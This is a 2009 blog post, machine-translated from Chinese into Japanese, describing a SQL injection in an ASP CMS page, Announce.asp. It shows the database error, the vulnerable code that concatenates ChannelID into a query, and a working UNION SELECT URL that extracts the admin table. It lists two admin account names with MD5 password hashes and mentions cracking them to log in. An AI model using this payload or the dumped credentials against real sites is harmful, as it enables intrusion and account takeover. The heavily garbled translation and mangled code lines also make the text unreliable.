ユースAnnounce.asp Announce.asp、ASP、CMS、SQLは、パワーを注入し、注入st0pのブログへの電力

の使用に注入電力Announce.asp

このエントリは2009年6月25日に投稿されました

：St0p

最近駅に従事して落ち込んでああ、変える力が、地元の多くの変更を発見した。ファイルのアドレスは、抑うつ、Announce.aspを注入できることが分かったためにテストを右ではありません。。

http://www.st0p.org/Announce.asp?ChannelID=2 '

次のエラーが発生しました

Microsoft Jetデータベースエンジンエラー'80040e14 '

クエリ式内の文字列の構文エラー "でisSelected = trueと（ChannelID = 0またはChannelID = 2 '）と（ShowType = 0またはShowType = 2）ID DESC'を注文してください。

。/ Announce.asp、19行目

Gaは、そこに注入されたら、使用することができます。
そして、力学系の解析のダウンロードを見つけるためにオンラインで行っID Clngフィルタを見つけましたが、フィルターではありませんChannelIDは、使用することができます

  ( request ( "ID" ) ) ID =トリム（要求（ "ID"））
 ( request ( "ChannelID" ) ) '这里只检则了是否为空 ChannelID =トリム（要求（ "ChannelID"）） 'が空かどうかだけをチェックする
 & ChannelID & ")" '这里直接调用了语句 sqlAnnounceは= "発表SELECT * FROMどこでisSelected = trueと（ChannelID = 0またはChannelID ="＆ChannelID＆ "）"文に "ここに指示するための呼び出し
 "" then ID <> ""した場合
	 " and (ShowType=0 or ShowType=1) and ID=" & Clng ( ID ) sqlAnnounce = sqlAnnounce＆ "と（ShowType = 0またはShowType = 1）ID ="＆Clng（ID） 
 他
	 " and (ShowType=0 or ShowType=2)" sqlAnnounce = sqlAnnounce＆ "と（ShowType = 0またはShowType = 2）"
 END IF
 " order by ID Desc" sqlAnnounce = sqlAnnounce＆ "ID descで注文"
 Server . CreateObject ( "ADODB.Recordset" ) セットrsAnnounce =サーバー。のCreateObject（ "ADODB.Recordsetの"）
 , 1 rsAnnounceオープンsqlAnnounce、CONN、1、1

st0pは、直接管理者アカウントとパスワードを読み出して文を構成する

http://www.st0p.org/Announce.asp?id=2&ChannelID=-1）％20and％20（1 = 2）％20union％20select％20id、ユーザ名、パスワード、範囲、LastLoginTime、LastLoginIP、LoginTimes、AdminPurview_Article ％の20from％の20admin％の20union％の20select％20 *％の20from％の20Announce％20％20where％すべてのアウトトップ管理者の2の20（1 = 2は、このストップ

アカウント：adminB
パスワード：49ba59abbe56e057

アカウント：管理者
パスワード：d9a65233eab47930

この情報を使用して、我々は、MD5をクラックするために行くことができますし、スタンバイ後のレコードに上陸した。また、これはst0p新ブログ公開元のログです。